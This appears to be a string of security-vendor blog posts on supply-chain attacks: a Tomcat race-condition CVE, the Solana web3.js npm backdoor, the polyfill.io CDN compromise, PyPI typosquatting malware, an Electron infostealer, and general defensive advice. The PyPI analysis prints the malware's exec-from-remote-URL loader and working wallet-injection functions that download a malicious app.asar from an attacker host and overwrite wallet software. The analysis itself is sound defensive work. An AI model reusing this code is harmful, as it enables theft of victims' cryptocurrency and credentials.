What is CVE-2024-50379?

The CVE refers to a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that occurs during JSP (JavaServer Pages) compilation in Apache Tomcat. Under certain conditions, this flaw can lead to Remote Code Execution (RCE) on systems with case-insensitive file systems (e.g., Windows).

How does the vulnerability work

• Race Condition – Let’s start by understanding what a race condition is. It is a vulnerability that occurs when a system performs two or more operations in parallel, and the outcome depends on the timing or order of these operations. The issue arises because the time it takes the system to check a condition is not aligned with the time it takes to act on that condition, allowing an attacker or unexpected behavior to interfere with the process. In our case, When Tomcat checks if it’s safe to compile or use a JSP file (Time-of-Check), there’s a narrow window where an attacker can change or replace the file before it’s actually used (Time-of-Use).

• Case Insensitivity – This vulnerability is exploitable on case-insensitive file systems. On those kinds of systems, files with the same name but different CASE are treated identically, for example: “file.jsp” and “FILE.JSP”. 

An attacker could exploit this by quickly uploading a malicious JSP file with a different case after Tomcat checks for the file but before it compiles the JSP. If the default servlet is configured to allow write operations (which is not the default setup), this can lead to the compilation and execution of the malicious JSP., and results in a remote code execution.

It is essential to understand that two conditions must be true for your system to be vulnerable to that CVE:

1. The default servlet must be configured to allow write access, which is not a standard configuration and should not generally be allowed.
2. The system should be operated with a case-insensitive file system, otherwise, malicious files uploaded by the attacker won’t overwrite safe files.

Mitigations

• Upgrade: Upgrade to the suitable fix version released by Apache (9.0.98,  10.1.34, 11.0.2).

• Configuration Check: Unless absolutely necessary, ensure your Tomcat server does not have the default servlet configured for write access.

• Secure File Upload: Do not allow JSP files to be uploaded directly to directories served by the application.

**UPDATE**

CVE-2024-56337, was released on Dec 20, 2024, to inform that the mitigation for CVE-2024-50379 was incomplete. The fix remains the same, but the Apache team made it clear that users running Tomcat on a case-insensitive file system with the default servlet write enabled (readonly initialisation parameter set to the non-default value of false) may need additional configuration to fully mitigate CVE-2024-50379 depending on which version of Java they are using with Tomcat: 

• Running on Java 8 or Java 11: the system property sun.io.useCanonCaches must be explicitly set to false (it defaults to true) 
• Running on Java 17: the system property sun.io.useCanonCaches, if set, must be set to false (it defaults to false)
• Running on Java 21 onwards: no further configuration is required (the system property and the problematic cache have been removed)

Moreover, versions 11.0.3, 10.1.35 and 9.0.99 onwards will include checks that sun.io.useCanonCaches is set appropriately before allowing the default servlet to be write enabled on a case insensitive file system.
The sun.io.useCanonCaches property is a JVM (Java Virtual Machine) setting that controls how the JVM standardizes file paths.

Conclusion

CVE-2024-50379 highlights the importance of timely updates and careful configuration management when deploying servers. For any organization running Apache Tomcat, particularly in environments where case-insensitive file systems are in use, this vulnerability demands immediate attention to secure your infrastructure from potential exploits. Always keep your systems patched, and your configurations secure to mitigate risks like these.

What happened?

The incident focused on versions 1.95.6 and 1.95.7 of the @solana/web3.js library, which were compromised through what seems to have been a phishing attack on the credentials for publishing npm packages. Here is how it worked:

• Attackers introduced a backdoor into the library by adding a function called addToQueue. This function was designed to capture and exfiltrate private keys used for signing transactions and accessing wallets. The attacker used what looks like CloudFlare headers to stay less suspicious in the network logs.
• The malicious code was inserted into functions responsible for handling cryptographic operations, such as Keypair.fromSecretKey and Keypair.fromSeed, effectively hijacking these operations to steal keys.
• The compromised versions were available on npm for approximately five hours, potentially affecting any application that updated or installed these versions during this window.

Figure 1. addToQueue backdoor introduced on version 1.95.6 

The impact

• According to Mert Mumtaz, CEO of Helius Labs, the damage from this attack is roughly $130K.

• A fast response and detection by the Solana team was really important in making the download window of those versions to a minimum of 5 hours.

• It’s important to mention there is no issue with the security of blockchain, as the problem is with the client Javascript library.

Figure 2. Mert Mumtaz’s post

Remediating Suggestions:

• Upgrade to the latest version – 1.95.8, where the malicious code was removed.

• Ensure that all suspect authority keys are rotated, including multisigs, program authorities, server key pairs, etc.

How did Mend detect the attack

We have been tracking this issue as MSC-2024-17462 and MSC-2024-17463 since it started, so our customers using this library will get an alert on the two compromised versions.

Moreover, today, the Solana team issued a CVE profile to address this issue. 

The importance of supply chain security

It’s the third supply chain security attack on a very popular open-source library after the Lottie player and the polyfill attacks that we have encountered in the last six months. All those incidents concatenate with the unforgettable XZ incident we had at the start of the year, and of course, all of the North Korean attacks on developers, together with other so-called “regular attacks” we see daily on the main open-source registries.

As we approach the new year, it’s time to stop and think about our supply chain security. As far as I’m concerned, companies are taking vulnerabilities more seriously than malicious packages, despite the fact that having a malicious package in their code means they are immediately compromised. Now is the time to stop closing our eyes to supply chain incidents and invent more resources to secure our supply chain and all our outsourced operations.

Conclusion

The @solana/web3.js incident reminds us of the complexities and risks associated with supply chain security. While the immediate financial impact was contained, the long-term lesson is clear: the supply chain security space requires constant vigilance from individual developers and the entire community.

Following that acquisition, the developer, Andrew Betts, tweeted on his X account a warning for all of his service’s users urging them to remove any reference to polyfill from their code. In his words, “I created the polyfill service project but I have never owned the domain and I have had no influence over its sale.” 

Figure 1. https://x.com/triblondon/status/1761852350224846906

On June 25, 2024, Sansec.io researchers reported an active supply chain attack using cdn.polyfill.io. According to their report, the service’s code has been tampered with to inject malware that targets mobile devices through any website that uses the polyfill CDN. Since then, it has been confirmed that the same operator is responsible for similar attacks using additional CDNs, namely BootCDN, Bootcss, and Staticfile.

It’s important to clarify that this attack has no connection to the polyfill npm package. Unlike npm packages, which are downloaded and installed locally within a project’s dependencies, this malicious code is delivered dynamically from the CDN each time a page is loaded.

Malicious code

The malicious code dynamically generates payloads based on HTTP headers. This action allows the code to tailor the right behavior depending on the victim’s environment, making the malware harder to detect and fix. The code targets specific mobile devices and is not executed when browsing on a computer.

The code employs evasion techniques, such as avoiding execution, when it detects admin users or the presence of any Google Analytics service. It has a delay mechanism to reduce the likelihood of being caught by security scan services.

The code is heavily obfuscated, which makes it harder for reverse engineers to understand all the functionality.

Figure 2. Obfuscated malicious code

In some cases, the attack introduces a fake Google Analytics script. Affected users receive altered JavaScript files that include a link to “hxxps[://]www[.]googie-anaiytics[.]com/gtags[.]js“—a deliberate misspelling of “Google Analytics.” This script redirects users to various malicious sites, such as sports betting and adult content platforms, seemingly based on geographic location.

While the reports are mainly focused on redirects to inappropriate links for now, it’s worth remembering that the attacker can change the malicious functionality at any point.

How Mend.io can help

We have been actively scanning and issuing MSC profiles to flag packages that embed references to all of the compromised CDNs. This helps our customers detect and remove any reference to those malicious domains.

We recommend immediately replacing any reference to the compromised CDN with a trusted alternative from either Fastly or Cloudflare. 

This supply chain attack demonstrates the vulnerabilities associated with dynamically loaded CDN resources and highlights the importance of continuous monitoring and response to such threats.

Developers and organizations must prioritize the security of their applications and always doubt the code they depend on. Staying proactive in maintaining the security of web resources is not just a best practice; it is essential in guarding against evolving supply chain attacks.

The attack involves a typosquatting technique designed to trick developers into downloading malicious versions of those packages—for example,  “Matplotltib”, “selennim”, and “PyToich”

The malicious packages used the Fernet mechanism to decrypt their malicious script. Upon decryption, the script fetches further attack stages according to its instructions.

Upon investigating the malicious code, the team found malware that steals the user’s personal information, such as passwords and tokens, and tries to collect crypto currencies. Additionally, the malware remains persistent in attempting to install itself in the startup path.

Let’s break down the execution flow of those packages:

It all starts with the setup.py file, which will allow the payload to execute after it is installed.

This file holds the first stage of the execution, including an encrypted Fernet payload that upon decoding will result in the following: 

"b"exec(requests.get('hxxps[://]funcaptcha[.]ru/paste2?package=<PackageName>').text.replace('<pre>','').replace('</pre>',''))" 

Figure 1. Setup.py file with encrypted Fernet payload

After getting the response from this host, we found another obfuscated script using the exact decryption mechanism. This time, the script will write its obfuscated content into a file named ‘gruppe.py‘ and execute it.

Figure 2. Encrypted payload is written into the ‘gruppe.py‘ file.

The third and final stage happens after executing the ‘gruppe.py’ file. The obfuscated payload will be decoded, and the real intent of this attack is revealed.

Figure 3. Last stage – Sophisticated info-stealer

The last deobfuscated script includes the following capabilities:

Environment setup. It defines paths to various important directories (like USERPROFILE, APPDATA, and LOCALAPPDATA) and creates a storage directory for collected data.

Extension and wallet data extraction. It looks for specific browser extensions and wallet applications (like Exodus, Electrum, Coinomi), presumably to steal cryptocurrency or related data. This involves creating ZIP archives of targeted directories and files that are uploaded to hxxps[://]funcaptcha[.]ru/delivery.

Discord token theft. The script searches Discord-related local storage files for authentication tokens, which could allow unauthorized access to Discord accounts.

File search and upload. It searches the user’s system for files with keywords related to sensitive information (passwords, accounts, crypto wallets) across several directories and uploads any findings to a server.

Persistence and remote control. It attempts to  download a Python script (hvnc.py) to the system’s Startup folder for persistence.

Stealth and evasion. The script uses SubProcess with flags like CREATE_NO_WINDOW to hide its execution and operates silently by suppressing output to DEVNULL.

Interestingly, the script also repeatedly attempts to inject malicious content into the Atomic and Exodus Wallet applications, which are popular software wallets for cryptocurrency that support various coins and tokens. 

def inject():
    procc = "exodus.exe"
    local = os.getenv("localappdata")
    path = f"{local}/exodus"
    if not os.path.exists(path): return
    listOfFile = os.listdir(path)
    apps = []
    for file in listOfFile:
        if "app-" in file:
            apps += [file]
    exodusPatchURL = "https://funcaptcha.ru/app.asar"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
    req = Request(exodusPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    for app in apps:
        try:
            fullpath = f"{path}/{app}/resources/app.asar"
            with open(fullpath, 'wb') as out_file1:
                out_file1.write(data)
        except: pass
"User-Agent": "Mozilla/5.0"
for i in range(10):
    try:
        inject()
        break
    except: pass
def inject_atomic():
    procc = "Atomic Wallet.exe"
    local = os.getenv("localappdata")
    path = f"{local}/Programs/atomic"
    if not os.path.exists(path): return
    atomicPatchURL = "https://funcaptcha.ru/atomic/app.asar"
    headers = {"User-Agent": "Mozilla/5.0"}
    req = Request(atomicPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    try:
        fullpath = f"{path}/resources/app.asar"
        with open(fullpath, 'wb') as out_file1:
            out_file1.write(data)
    except: pass

for i in range(10):
    try:
        inject_atomic()
        break
    except: pass

Figure 4. Crypto wallet injection functionality

The flow for this functionality looks like this:

1. Identify crypto wallet applications. The script looks for the installation directory of the Crypto Wallet applications on the user’s system. It specifically targets the atomic and exodus directories within the user’s local application data folder, a common location for installed applications on Windows systems.

2. Download and inject malicious component. The script constructs a request to download a malicious app.asar file from a specified URL (hxxps[://]funcaptcha[.]ru/atomic/app[.]asar / hxxps[://]funcaptcha[.]ru/app[.]asar). The app.asar file is an Electron application archive commonly used in Electron-based applications like Atomic/Exodus Wallet to bundle their resources. By downloading and replacing the legitimate app.asar with a malicious one, the attacker can alter the behavior of those Wallet applications, potentially introducing functionalities that compromise the wallet’s security and the user’s cryptocurrency assets.

3. Ensure execution. The script attempts to force stop (kill) any Atomic/Exodus Wallet application running instances using the taskkill command. This will ensure that the malicious app.asar file can be placed without any file access conflicts. After killing the process, the script writes the downloaded malicious app.asar file into the Wallet’s resources directory, effectively replacing the legitimate version.

4. Repeat attempts. The script wraps the injection process in a loop that attempts the download and injection up to 10 times. This could be an error-handling strategy to deal with potential issues such as network connectivity problems or the Wallet application being in use and thus locked for writing.

Summary

This attack demonstrates the importance of verifying every component we introduce into our code. In the new era of AI and LLMs, we expect to see more sophisticated attacks that target ML model developers and trick them into downloading malicious code. 

Understandably, organizations that want to sharpen their competitive edge are keen to get on the bandwagon and harness the power of AI and LLMs. That’s why, in a recent study, Research and Markets predicts that the global generative AI market will grow to a value of USD 109.37 billion by the year 2030.

However, the rapid growth of this new trend comes with an old caveat: with progress comes challenges. That’s particularly true when considering the security implications of generative AI and LLMs. 

New threats and challenges arising from generative AI and LLMs

As is often the case, innovation often outstrips security, which must catch up to assure users that the tech is viable and reliable. In particular, security teams should be aware of the following considerations:

• Data privacy and leakage. Since LLMs are trained on vast amounts of data, they can sometimes inadvertently generate outputs that may contain sensitive or private information that was part of their training data. Always be mindful that LLMs are probabilistic engines that don’t understand the meaning or the context of the information that they use to generate data. Unless they are instructed or guardrails are used, they have no idea whether data is sensitive, whether it should be exposed or not, unless you intervene and alter prompts to reflect expectations of what information should be made available. If you train LLMs on badly anonymized data, for example, you may end up getting information that’s inappropriate or risky. Fine-tuning is needed to address this, and you would need to track all data and the training paths used, to justify and check the outcome. That’s a huge task.
• Misinformation and propaganda. Bad actors can use LLMs to generate fake news, manipulate public opinion, or create believable misinformation. If you’re not already knowledgeable about a given subject, the answers that you get from LLMs may seem plausible, but it’s often difficult to establish how authoritative the information provided really is, and whether its sources are legitimate or correct. The potential for spreading damaging information is significant.
• Exploitability. Skilled users can potentially “trick” the model into producing harmful, inappropriate, or undesirable content. In line with the above, LLMs can be tuned to produce a distribution of comments and sentiments that look plausible but skew content in a way that presents opinion as fact. Unsuspecting users consider this content reasonable when it may really be exploited for underhand purposes.
• Dependency on external resources. Some LLMs rely on external data sources that can be targets for attacks or manipulation. Prompts and sources can be both manual and machine-generated. Manual prompts can be influenced by human error or malign intentions. Machine-generated prompts can result from inaccurate or malicious information and then be distributed through newly created content and data. Can you be sure that either is reliable? Both must be tested and verified.
• Resource exhaustion attacks. Due to the resource-intensive nature of LLMs, they can be targets for DDoS attacks that aim to drain computational resources by overloading systems. For instance, you could set up a farm of bots to rapidly generate queries at a volume that could pose operational and efficiency problems.
• Proprietary knowledge leakage. Skilled users can potentially “trick” models into exposing their valuable operations prompts. Usually, when you build functionality around AI, you have some initial prompts that you test and validate. For example, you can prompt LLMs to recognize copyrights, identify the primary owner of source code, and then extract knowledge about the copyrights. Potentially this means a copyright owner could lose their advantage over competitors. As I wrote earlier, LLMs don’t understand the information they generate, so it’s possible that they inadvertently expose proprietary knowledge like this.

These are not the only security concerns that arise from generative AI and LLMs. There are other, pre-existing issues that are amplified by the advent of this technology. In my next blog post, we’ll examine these issues and we’ll take a glance at how we might address them to safeguard users’ cybersecurity.

Why has the landscape changed in the software supply chain?

First, more software and applications are being developed than ever before, with ever more complex chains of components and dependencies that have led to a rise in vulnerabilities and an increased threat of malicious packages. To demonstrate this, the Mend Open Source Risk Report recorded a 33 percent growth in the number of open source software vulnerabilities added to the Mend.io vulnerability database in 2022, which outstripped the estimated 25 percent growth in the amount of open source software available. And Mend Supply Chain Defender showed a steady quarterly increase in the number of malicious packages published in 2022, with a significant jump in Q3, which increased 79 percent from Q2.

In turn, this has caught the attention of governments across the world from, the U.S. and the EU, to as far afield as Australia and New Zealand, leading to the second big trend, which is the introduction of governmental cybersecurity strategies and a recognition that regulation of the software supply chain is necessary to protect security on national, economic, public and private levels.

Why is dependency management important for securing the software supply chain?

Simply put, you can only protect your software and applications, identify issues, and then fix them if you know the following:

• What components and dependencies are in your software and applications
• Whether they are up-to-date and properly patched
• Whether open source third-party components and dependencies are compliant with the terms and conditions of their use
• Whether these components and dependencies are behaving as expected or are operating unusually
• If any others are being adversely affected
• What components and dependencies should and shouldn’t be there

Dependency management gives you the visibility you need to answer these questions and the capability to address any issues that you detect as a result. It involves identifying all dependencies used in your software, regularly monitoring and updating dependencies to ensure they are not vulnerable to known security issues, and maintaining a list of approved and unapproved dependencies.

How will escalating regulation affect the role of application dependency management?

More regulation means more accountability. More accountability requires increased visibility into the supply chain, comprehensive disclosure of components, dependencies, and any flaws and malicious packages that could threaten the stability and security of the software. So, the ability to catalog every component and dependency, identify threats and remediate them through a process of dependency management, becomes necessary.

With more stringent regulation and governance likely to be implemented, the transparency of software supply chain constituents becomes essential. Spearheaded by the likes of the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Five Eyes Alliance, government cybersecurity strategies will require any company working with federal, public, national, and international organizations to disclose all the components and dependencies in their software, applications and code bases. These strategies shift the responsibility to vendors, to both infuse security into their platforms and to declare any threats and vulnerabilities that they encounter. What has until now been voluntary best practice will become pre-requisites, and what begins with large public contracts will inevitably spread to the private sector, as vendors to federal and public bodies will demand that their suppliers in turn undertake the same level of due diligence.

What tools do you need to manage application dependencies effectively?

Effective dependency management involves the implementation of a prophylactic strategy that should include a combination of identification, detection, prioritization, updates and remediation.

Identification lies at the core of the regulations and strategies proposed by governmental agencies. It is the key to cataloging and knowing what components and dependencies exist within your software and applications, and it’s the foundation for accountability and transparency. You achieve this by using a software bill of materials (SBOM) and making it available to all your customers. The SBOM will not only provide comprehensive visibility into your code base, but it will improve your ability to detect anomalies, flaws, and vulnerabilities in your code which could be a threat. As a result, using an SBOM can reduce your time to respond and remediate any issues. As such, we anticipate that the SBOM will become a prerequisite tool for effective dependency management.

Having identified and detected any vulnerabilities, you need to update and patch your software regularly, frequently and in a timely manner, to ensure that it’s resistant to newly arising issues and attacks. First, you’ll need to employ a tool that prioritizes which vulnerabilities are most critical and should be addressed first. Prioritization optimizes the updating and remediation process, ensuring that you address dependencies that are most important to your code base, so that you don’t waste time on those that are unimportant or redundant.

Then you can move on to actively updating your dependencies, and you can do this most effectively with a tool that automatically applies updates when they are identified. Additionally, you can apply automated remediation to vulnerabilities that need to be fixed, using software composition analysis (SCA) for open source dependencies and static application security testing (SAST) for custom code. Automation slashes mean time to remediation, thereby making your dependency management as efficient as possible. Couple these tactics with a tool that prevents malicious open source packages from entering your codebase and the capability to apply governance and compliance policies, will redouble your security and your dependency management.

Ideally, all of these capabilities should be rolled into one comprehensive platform that brings all these processes together in a security package that operates seamlessly with your development workflow, maximizing security without sacrificing development speed or efficiency. 

That’s how you can ensure that dependency management plays the most effective role in securing your code base and meeting the requirements of increased due diligence that comes with more regulation and governance of the software supply chain.

1. Malicious packages: a different kind of threat

Malicious packages are a different kind of threat because they target you directly. Vulnerabilities may or may not be exploited. They may be accidental. Malicious packages are intentional. They’re specifically designed to disrupt or disable targets, and you need to proactively detect and block them to avoid them contaminating your code base.  

You should be extra cautious about the threats they pose and what you can fall prey to, such as malicious hacks such as event-stream or Circle CI. This holds particularly true in npm or the JavaScript ecosystems — the most popular programming language for open source projects and therefore most prone to vulnerabilities and malicious packages.

Realistically, developers can’t spend tons of time reviewing every single open source component. The smart way to spend AppSec dollars is to focus on implementing a secure SDLC, keep abreast of alerts, and respond quickly to threats that arise, in line with the application security procedures that you already have in place. 

2. Watch your adversaries 

Attackers rely on their targets not paying full attention or keeping track of what they’re using. When you inadvertently open or download a malicious package, they gain access to your code base and data.

So watch your adversaries and understand their methods. Then you can better anticipate them and take measures to thwart them.

For example, Google’s Project Zero team releases information about the chatter they hear on the dark web concerning which vulnerabilities and packages to look for, and they release it as an intelligence feed. They aim to give users the intelligence to help take preventative measures against such threats. It’s valuable information because if you know what attackers are doing, you know what you need to fix or prevent before you fall victim to a cyberattack. 

That information also helps you comprehensively check and document your software supply chain, starting with a software bill of materials (SBOM). It’s important to check frequently and regularly. You can have an exploitable vulnerability in your system for years and never be affected, but the moment that you download that malicious dependency, you’re impacted. Don’t let this happen. Be consistently vigilant throughout the software development lifecycle (SDLC).

3. Pay attention to package provenance

The community relies a lot on ecosystem providers to provide protection when issues arise. Our advice?  Don’t wait for their intervention. Be proactive about identifying the provenance of packages.

For example, we recently issued a wave of malicious package notifications to our customers. In one case, a customer notified us of a false positive because there appeared to be nothing malicious in this package in the particular release 4.12 on GitHub. However, the attacker had intentionally put one lot of code on GitHub and different code in the actual package that was published.

It’s not necessary to check everything, provided you can at least verify that the code that you are consuming comes from the source it claims to come from. Then you obviate the need to analyze binaries or artifacts.

4. The importance of industry collaboration

The issue of package provenance raises the question of whether you can trust certain open source packages and their maintainers. That requires collaboration between the security industry, vendors, and researchers, to better understand what vulnerabilities are out there and what malicious packages should be removed from the repository.

Repository managers are good at removing these, but working with them to react quickly is only effective when everyone pays full attention. In the past, when researchers found malicious packages, the repositories were notified, but packages could sit there for days and get downloaded thousands of times before action was taken. We must work faster, together.

5. Keep up with best practices for the repository

Public forums like the Open Software Security Foundation (Open SSF) or the Linux Foundation have central repository groups that introduce best practices for the repository because that’s the distribution point to the global development community and an important part of keeping the whole supply chain secure.

Repositories handle a huge volume of downloads annually — billions, even trillions in some cases. Maintainers of those repositories are working towards improving their responsiveness. Maven Central is probably the model that everyone would like to emulate. And those are specifically Java open source components. They have the most rigor behind them. Once npm was acquired by Microsoft and GitHub, things improved in that repository. There is still much work to do, and that’s what the Open SSF working group is focused on.

Companies need to play their part too. For example, in Canada, Shopify has a bug bounty. Its AppSec team writes in Ruby and uses Ruby on Rails. They constantly fix bugs within RubyGems and push the fixes into the gems for anyone to use. They consider it their responsibility. However, many companies use open source but don’t give anything back.

6. The value of dependency management

Some developers might argue that there’s little point in updating dependencies to a new version of a package if their code is working acceptably. However, updating your dependencies is like going to the dentist. It’s less drastic if you do it regularly. If you do it every four years, you have to rectify four years of neglect and it’s going to hurt. In security terms, that’s technical debt. Mature software teams understand they need to stay updated.

And that’s when you get a choice about updates. When dependencies are transitive, there isn’t a choice about which are pulled in. Solving problems arising from them relies on the package maintainer to bump them. You can’t do it yourself.

In these cases, some customers feel like they lack control because a malicious dependency could hit them despite following best practices. Or, a vulnerability is disclosed and a new version is released, but they can’t get an upgrade to that version because the direct dependency hasn’t been upgraded yet.

7. Automate to handle volume

Although open source can be exposed to vulnerabilities and malicious packages, the benefits still outweigh the risks with the right security strategy and tools. Ultimately, keeping it up to date is the best practice, and that’s where automation comes into play. 

Take, for example, Mend Renovate. It’s a dependency update automation tool that scans your software, discovers dependencies, automatically checks to see if an updated version exists, and helps you by submitting automated pull requests.

Importantly, a tool like Renovate can handle volume. Millions of developers downloading trillions of packages per year require tooling and automation. Automation is key, especially as attacks will get more sophisticated as we get better at detecting them.

8. Handling CI/CD pipelines to remain secure

The good news is that we now have tools that can be injected into your CI/CD pipeline to thwart malicious packages. And they’ll start to become a standard part of security tooling.

One issue to address is centralization. Companies assume  centralizing open source downloading makes them more secure. But really, they’ve just centralized the path through which malicious packages can be downloaded. You still need to actively stop the malicious packages. However, developers don’t download from the same code repository. They use a range of CI/CD pipelines and tech stacks. That’s challenging to police. Ideally, everyone would use the same CI/CD but that’s unlikely, so the compromise is to use a tool that works with different CI/CD pipelines.

Evolving solutions as threats evolve

There’s no magic recipe yet to completely cure security vulnerabilities and eradicate malicious packages. You need to implement a strategy that combines an approach and tools that work best for you. 

What’s undeniable is that we all face the challenges of a growing attack surface and fast-changing attack methods. This means we must all remain nimble in our responses to evolving threats. Start by using the tools and technology we currently have — but keep in mind that further improvement will come as technology evolves.

Use SBOMs

The Software Bill of Materials (SBOM) is an increasingly important tool for managing supply chain security. An SBOM is a detailed breakdown of the different software components that are used in applications. SBOMs include metadata, like software origin or licensing terms, version number or release date, code packages, libraries, and other package dependencies. It may also include underlying systems and perhaps the programming language in which the application was coded.

An accurate SBOM gives you better visibility, transparency, accountability, and management of the software supply chain. With the use of an SBOM, you can see which components meet regulations, industry standards, and best practices. You can track and manage applications’ components, and you can better identify and address any potential security vulnerabilities, malicious packages, other security risks, and compliance issues. When any application undergoes a major update, ensure that the SBOM is updated, using a dedicated SBOM generation tool.

SBOMs are becoming an increasingly critical tool now that more regulation from governments and industry groups is being introduced to strengthen software supply chain security. The U.S., the U.K., the E.U., Australia, and New Zealand have already introduced cybersecurity strategies, which will obligate software and application providers to be transparent about the provenance of their products, be accountable for them, and follow best practices to secure their software supply chains.

Apply software supply chain security best practices

So, what are the best practices that organizations should implement? In short, they break down as follows:

• Develop a comprehensive supply chain risk management process. Identify potential risks, assess their impact, and establish security requirements to manage those risks.
• Develop and practice your incident response plan. Respond to issues quicker and more efficiently, minimizing damage caused by attacks.
• Review and improve your processes regularly. Ensure all requirements and controls are up to date with the latest versions and regulations.  
• Educate and train employees and stakeholders to follow best practices.
• Don’t disrupt business. Make your processes easy to learn, adopt, and implement. Make them a seamless part of your teams’ regular workflow. Use tools like code signing, digital certificates, multifactor authentication, and secure software distribution, to minimize risks.

Know your components 

To build strong supply chain security, you need to answer the following fundamental questions about every component of your software:

SBOMs answer the first two, providing a machine-readable, easily communicated inventory of all of the items inside your product. Finding the answers to questions 3 through 5 is more complex. These questions revolve around safety. To answer them, you need to know: 

• Who your suppliers are, and how secure their systems are
• What every component does–and confirm that this is actually what that component does
• All versions are up to date
• When, if, and how do components become unsafe
• Where issues appear

As up to 90% of code is open source, you must know who the suppliers are. Remember that attacks can leverage a supplier you think you know, or trust. You’re always vulnerable to attacks that are currently happening, such as typosquatting, dependency confusion, and dependency hijacking.

The threat of malicious packages

We see a lot of attacks using new packages that display undesired and unclear behavior, especially spam packages, which spread like wildfire.

New libraries also don’t get flagged as bad behavior because they may not necessarily be damaging. In the case of something like obfuscated code, there’s often no actual malicious behavior. So, people begin to develop trust that can then be exploited.

Then there’s malware — bad behavior, or dormant things waiting to behave badly. The key to staying a step ahead is to stay up to date.

Stay up to date with known vulnerabilities

It’s shocking how many people focus on the unknown when they have huge attack surfaces of known vulnerabilities. Attackers often leverage known vulnerabilities that haven’t been fixed, so it’s important to remember that out-of-date code equals risk, especially with open source. 

While good access control, risk management, and design will limit the impact of a known vulnerability, it’s better to just ensure you have few known vulnerabilities and mitigate them as needed. Therefore, my top recommendation is to automate dependency updates. Many tools will tell you what dependencies need updating. The good, advanced ones will create a pull request so that you can automatically merge the update. Your infrastructure, your containers, and your application code should also auto-update.

Constantly monitor and prioritize

Automated scanning is vital, but it can’t cover everything. You need tooling that constantly monitors and prioritizes vulnerabilities. When something goes out of date or has a new vulnerability, it gets flagged and you can address it. That means you need software composition analysis (SCA).

Prioritization is important because not all vulnerabilities need your attention. You need a central inventory or SBOM. If you’re a big enough company, you need one that covers all your products and is searchable, because when a serious issue like Log4j emerges, you need the capability to search for it throughout your code base and get answers almost immediately.

If you don’t . . .

If you don’t take these steps, your threat surface expands. You become vulnerable to new issues, which create plenty of noise that developers hate. This complicates workflows, and fixes and updates get missed.

By building the malware with Electron, the attackers are able to inject their malicious code into a program that appears harmless. But behind its innocent look, this info-stealer’s main objective is to collect sensitive data from the victim’s machine. We’ll discuss how it operates, its capabilities, and how users can stay safe. 

What is Electron and why it’s being used in malware

Electron is an open-source framework developed by GitHub for building cross-platform desktop applications using web technologies like JavaScript, HTML and CSS. It uses Chromium and Node.js under the hood. The Chromium engine is used to display web content and Node.js runs the backend code.

The nature of this framework allows attackers to spread their malicious code to multi-platforms with an ease of a flag and reduce the time it takes to develop code that will suit each system.

The Framework’s interface makes it easy to create attractive looking apps that users may be tricked into installing and can easily disguise themselves as legitimate tools while accessing powerful OS functions in the background.

Initial access

On Thursday, August 3rd, our supply chain tool alerted us with a suspicious package named Crazydown which runs an obfuscated script using a postinstall hook. The attacker used two techniques to try and hide their malicious intent. The first one involved a creative way to hide its actions in the package.json file using escaped Unicode characters. The second technique was to obfuscate the main file index.js using rename obfuscation and encryption to try and stay undetected.

To understand what’s going on in this file, we debugged it to see how it decrypts its original strings during runtime using bitwise operations. After a couple of iterations, we found the url that downloads the second stage of the attack.

It’s worth mentioning that a couple of days later, we found another 4 packages that use the same techniques to spread that malware, but this time in one version, the attacker exposed its full source code under this heavy obfuscation which you can see here.

So the main goal behind this code is to download an exe file from a discord server and execute it.

Second stage analysis

Uploading our sample to Virustotal shows us that it is fully undetected by any vendor, as the analysis gives us zero results.

Looking at the details tab, we can see that this sample is actually a Nullsoft installer which is a tool for creating Windows installers, and it’s widely used due to its power and flexibility. Moreover, Nullsoft installer is an archive which means we can extract its content using tools like 7-zip.

Upon extracting the sample, we found a bigger exe file (~134Mb) named Fewer.exe.

Analyzing this file in Detect It Easy tool we can see that it is actually an electron desktop application.

To get the source code that was built into this electron app, we can look inside the resources folder. There we can find an app.asar file, which can be extracted using an asar plugin for 7-zip, and here we have the full source code of that sample.

When looking at the batch file we can see the instruction that is being used to build this app using the electron-builder command for Windows.

Analyzing the gavy.js file we found that this file is in charge of decrypting the full source code of the stealer. Replacing the final function statement with a console.log method will reveal the code.

Evidence in the wild

While looking for evidence of this new variant in the wild, we found a github repository that seemed to be the source of this stealer and includes the name we found inside.

Inspecting closer, we can confirm that this is the source as it includes the same files we extracted from the Nullsoft installer and the same batch file that is in charge of the electron app build. This repository was created a month ago, corresponding to our analysis from Virustotal that showed the first analysis of this variant was a couple of weeks ago, and was probably initiated by the attacker to check the detection for their malware.

Core functionalities

The core functionalities of this stealer are pretty similar to different stealers and variants of the well known “Wasp Stealer” which we detected all over the last year, both on NPM and PYPI.

It has the ability to steal cookies, browser history, wallet addresses, autofills, discord tokens, Instagram and Tiktok sessions, and much more. The main difference is that it has an auto obfuscating process using crypter.js file, and the way it is getting built using electron to look like a legitimate app and stay fully undetectable.

Conclusion

The new Electron-based infostealer depicts the constant evolution of supply chain threats. While its capabilities are concerning, the bigger issue is how adversaries are able to masquerade their tools as legitimate software.

By using trusted frameworks like Electron, they make detection way more difficult. However, through ongoing threat research and analysis, we can unravel their techniques and better protect users.

We at Mend.io are committed to this mission and will keep developing solutions to detect and block every new technique that will be used by attackers to compromise our users.

Brandjacking refers to the malicious act of using a brand’s identity to deceive or defraud customers. It usually involves impersonating a reputable brand to gain unauthorized access to sensitive information or exploit the trust associated with the brand. Attackers often leverage the reputation of well-known brands using social engineering techniques, phishing emails, fake websites, and malicious packages in open source repositories. Let’s look at how brandjacking works, the types of brandjacking attacks, the threat they pose to organizations’ and users’ security, notable examples of such attacks, and how application security tools and practices can help you overcome these risks.

How does brandjacking work?

Traditional brandjacking typically starts with the attacker creating a fraudulent website or social media account that mimics a legitimate brand. They may use similar domain names, logos, and content to deceive unsuspecting users. Then they use these means to collect personal information, distribute malware, or conduct phishing attacks by luring victims into sharing their credentials or financial details.

